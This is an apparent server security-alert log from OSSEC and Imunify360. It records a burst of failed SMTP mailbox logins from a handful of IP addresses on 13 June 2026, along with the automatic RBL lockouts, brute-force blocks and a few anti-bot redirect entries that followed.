2026-06-13 07:28:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42128: 535 Incorrect authentication data (set_id=invoicing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44700: 535 Incorrect authentication data (set_id=00@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:28:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:28:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:28:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35356: 535 Incorrect authentication data (set_id=specialist@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:28:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28194: 535 Incorrect authentication data (set_id=invoicing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:28:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10332: 535 Incorrect authentication data (set_id=susanne@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61912: 535 Incorrect authentication data (set_id=aim@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:28:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:29:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:29:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19900: 535 Incorrect authentication data (set_id=claims@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:29:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53808: 535 Incorrect authentication data (set_id=olympic@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:29:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:29:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1672: 535 Incorrect authentication data (set_id=theta@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:29:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:29:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:29:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58216: 535 Incorrect authentication data (set_id=mason@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:29:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50060: 535 Incorrect authentication data (set_id=manman@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:29:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36380: 535 Incorrect authentication data (set_id=jasper@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:29:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:29:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:30:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11732: 535 Incorrect authentication data (set_id=phh@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:30:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:30:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45650: 535 Incorrect authentication data (set_id=ftpserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:30:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:30:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:57306: 535 Incorrect authentication data (set_id=esposito@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:30:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41782: 535 Incorrect authentication data (set_id=gms@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:30:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:30:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:30:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28040: 535 Incorrect authentication data (set_id=davinci@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:30:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49576: 535 Incorrect authentication data (set_id=wangyan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:31:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:31:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:31:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33350: 535 Incorrect authentication data (set_id=ltc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:31:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:31:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:31:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19486: 535 Incorrect authentication data (set_id=zoom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:31:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40944: 535 Incorrect authentication data (set_id=bitrix@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:31:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19730: 535 Incorrect authentication data (set_id=spamassassin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:31:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3604: 535 Incorrect authentication data (set_id=albums@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:31:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37338: 535 Incorrect authentication data (set_id=spamassassin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:31:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48074: 535 Incorrect authentication data (set_id=test00test00@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:13886: 535 Incorrect authentication data (set_id=saar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:32:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:32:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11728: 535 Incorrect authentication data (set_id=sin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:32:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:7188: 535 Incorrect authentication data (set_id=pie@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:32:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39550: 535 Incorrect authentication data (set_id=asad@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:32:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43758: 535 Incorrect authentication data (set_id=stephanie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:32:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:32:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22684: 535 Incorrect authentication data (set_id=lcadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:32:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:33:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:33:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30610: 535 Incorrect authentication data (set_id=contracts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63336: 535 Incorrect authentication data (set_id=matsushima@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:33:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5220: 535 Incorrect authentication data (set_id=anny@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:07:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855064&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336026 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:33:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:33:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14442: 535 Incorrect authentication data (set_id=hardrock@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:33:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249047&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336020 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:33:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35580: 535 Incorrect authentication data (set_id=d@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:33:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51748: 535 Incorrect authentication data (set_id=hardrock@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:21412: 535 Incorrect authentication data (set_id=jackie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:34:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:34:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43536: 535 Incorrect authentication data (set_id=generator@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:34:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50092: 535 Incorrect authentication data (set_id=B'Trey@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:34:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59164: 535 Incorrect authentication data (set_id=br@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:34:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:34:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21708: 535 Incorrect authentication data (set_id=cs@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:34:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13374: 535 Incorrect authentication data (set_id=janus@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:34:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:34:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:34:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:34:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:55070: 535 Incorrect authentication data (set_id=danica@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:34:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:35:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41308: 535 Incorrect authentication data (set_id=helpdesk2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:35:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54868: 535 Incorrect authentication data (set_id=jeffery@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:35:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:35:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5388: 535 Incorrect authentication data (set_id=plazma@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:35:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [13/Jun/2026:07:35:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134489&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336143 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12468: 535 Incorrect authentication data (set_id=mira@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:35:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:35:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:35:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:35:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:35324: 535 Incorrect authentication data (set_id=cadastro@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10844: 535 Incorrect authentication data (set_id=family@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:35:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:35:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8018: 535 Incorrect authentication data (set_id=nsa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:36:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:3566: 535 Incorrect authentication data (set_id=forschung@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:36:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:36:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46584: 535 Incorrect authentication data (set_id=o@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:36:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62002: 535 Incorrect authentication data (set_id=bilder@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:36:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:36:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:36:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
